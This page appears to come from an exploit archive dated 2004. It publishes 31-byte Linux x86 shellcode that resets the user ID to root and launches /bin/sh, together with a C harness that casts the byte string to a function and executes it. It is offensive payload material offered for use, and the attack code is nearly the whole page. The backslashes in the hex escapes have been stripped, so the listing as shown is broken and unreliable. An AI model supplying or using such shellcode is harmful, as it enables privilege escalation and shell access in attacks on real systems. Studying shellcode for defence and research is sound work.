[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 setreuid/execve 31 bytes
# Published : 2004-12-26
# Author : oc192
# Previous Title : Windows 9x/NT/2k/XP PEB method 35 bytes
# Next Title : linux/x86 alpha-numeric shellcode 64 bytes
/* 31 byte setreuid() shellcode - # man shadow
* os: Slackware 9.1, Phlak 2.4, Knoppix 0.1
*
* www.manshadow.org
* r-22@manshadow.org
* irc.efnet.net #_man_shadow
*/
char shellcode[] =
"x31xC9" /* xor ecx,ecx */
"x31xDB" /* xor ebx,ebx */
"x6Ax46" /* push byte 70 */
"x58" /* pop eax */
"xCDx80" /* int 80h */
"x51" /* push ecx */
"x68x2Fx2Fx73x68" /* push 0x68732F2F */
"x68x2Fx62x69x6E" /* push 0x6E69622F */
"x89xE3" /* mov ebx,esp */
"x51" /* push ecx */
"x53" /* push ebx */
"x89xE1" /* mov ecx,esp */
"x99" /* cdq */
"xB0x0B" /* mov al,11 */
"xCDx80"; /* int 80h */
int main(int argc, char *argv[]) {
void (*sc)() = (void *)shellcode;
printf("len:%dn", strlen(shellcode));
sc();
return 0;
}
// www.Syue.com [2004-12-26]